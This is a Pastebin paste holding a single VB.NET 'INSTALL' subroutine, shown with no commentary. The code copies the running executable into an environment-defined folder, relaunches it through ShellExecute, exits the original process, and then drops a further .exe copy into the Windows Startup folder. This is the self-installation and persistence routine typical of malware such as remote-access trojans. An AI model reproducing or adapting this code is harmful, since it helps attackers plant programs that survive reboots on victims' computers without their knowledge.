Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Sub INSTALL()
- If CopyToPath Then
- Try
- Thread.Sleep(&H3E8)
- If File.Exists((Interaction.Environ(DIR) & "\" & CopyToPathName)) Then
- File.Delete((Interaction.Environ(DIR) & "\" & CopyToPathName))
- End If
- Dim StreamFile As New FileStream((Interaction.Environ(DIR) & "\" & CopyToPathName), FileMode.CreateNew)
- Dim AC As Byte() = File.ReadAllBytes(InfoFile.FullName)
- StreamFile.Write(AC, 0, AC.Length)
- StreamFile.Flush()
- StreamFile.Close()
- InfoFile = New FileInfo((Interaction.Environ(DIR) & "\" & CopyToPathName))
- 'Process.Start(InfoFile.FullName)
- ShellExecute(0, "", InfoFile.FullName, "", "", 1)
- ProjectData.EndApp()
- Catch x As Exception
- End Try
- End If
- System.Threading.Thread.Sleep(9000)
- If CopyStartup Then
- Dim xx As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup)
- Dim stream As New FileStream((xx & "\" & StartupName & ".exe"), FileMode.CreateNew)
- Dim array As Byte() = File.ReadAllBytes(InfoFile.FullName)
- stream.Write(array, 0, array.Length)
- stream.Flush()
- stream.Close()
- End If
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement